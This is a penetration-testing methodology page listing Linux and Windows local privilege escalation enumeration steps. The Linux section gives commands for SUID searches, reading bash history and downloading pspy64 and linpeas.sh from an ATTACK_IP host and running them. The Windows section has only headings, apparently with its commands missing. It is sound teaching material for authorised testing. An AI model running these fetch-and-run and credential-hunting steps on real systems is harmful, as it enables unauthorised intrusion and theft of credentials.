githubEdit

Local Privilege Escalation LPE Enumeration Methodology

1) Linux Local Privilege Escalation LPE Enumeration

On a linux machine, we can do some checks to see if we can exploit them to do lateral movement, or even root the machine.

Checks:

  1. Sudo privileges (Authenticated)

    sudo -l
  2. SUID bit files

     find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null	
  3. Open ports/services/applications within the machine

     ss -tulpn
     netstat -ano
  4. Check for running processes either as root, or as another target user for lateral movement

     wget http://ATTACK_IP:PORT/pspy64
    
     chmod +x ./pspy64
    
     ./pspy64
  5. Check detailed contents of a directory like hidden files, file size, ownership

     ls -lah
  6. Automated Enumeration

     wget http://ATTACK_IP:PORT/linpeas.sh
    
     chmod +x ./linpeas.sh
    
     ./linpeas.sh
  7. Interesting groups of the current user

     id
  8. Environment Variables

     env
  9. Command history

     history
    
     cat /home/user/.bash_history
  10. Writeable files and directories of the current user

    find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
  11. Chech the current user's PATH variable contents

    echo $PATH
  12. World-writeable files and directories

    find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
    find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
  13. Search for passwords within a linux system

Common password files

Password in config files

Sensitive keywords on files

SSH Keys

Bash History

Hardcoded credentials in code

Database files

Environment Variables

2) Windows Local Privilege Escalation LPE Enumeration

On Windows machines, we can conduct some checks to find interesting info for LPE

  1. Windows Privileges

Check our current user what privileges does he have

More details about the user

2) Open ports/services that we can use

3) Search for passwords within a Windows system

Search for passwords in files

Sensitive Keywords in documents

Config files containing credentials

Browser Password Files

Windows Registry

User Profiles

Encrypted Vaults

System Logs

3) Automation

Tools: PowerSharpPack, WinPEAS, Invoke-winPEAS

OR

4) Unquoted Services Paths

5) AlwaysInstallElevated registry key

6) Scheduled Tasks

7) User Enumeration

8) Windows version

9) Powershell History

Confirm powershell history save path

Read powershell history file

Tools: SessionGopher, LaZagne https://github.com/Arvanaghi/SessionGopher

SessionGopher run locally

SessionGopher remotely

or

Last updated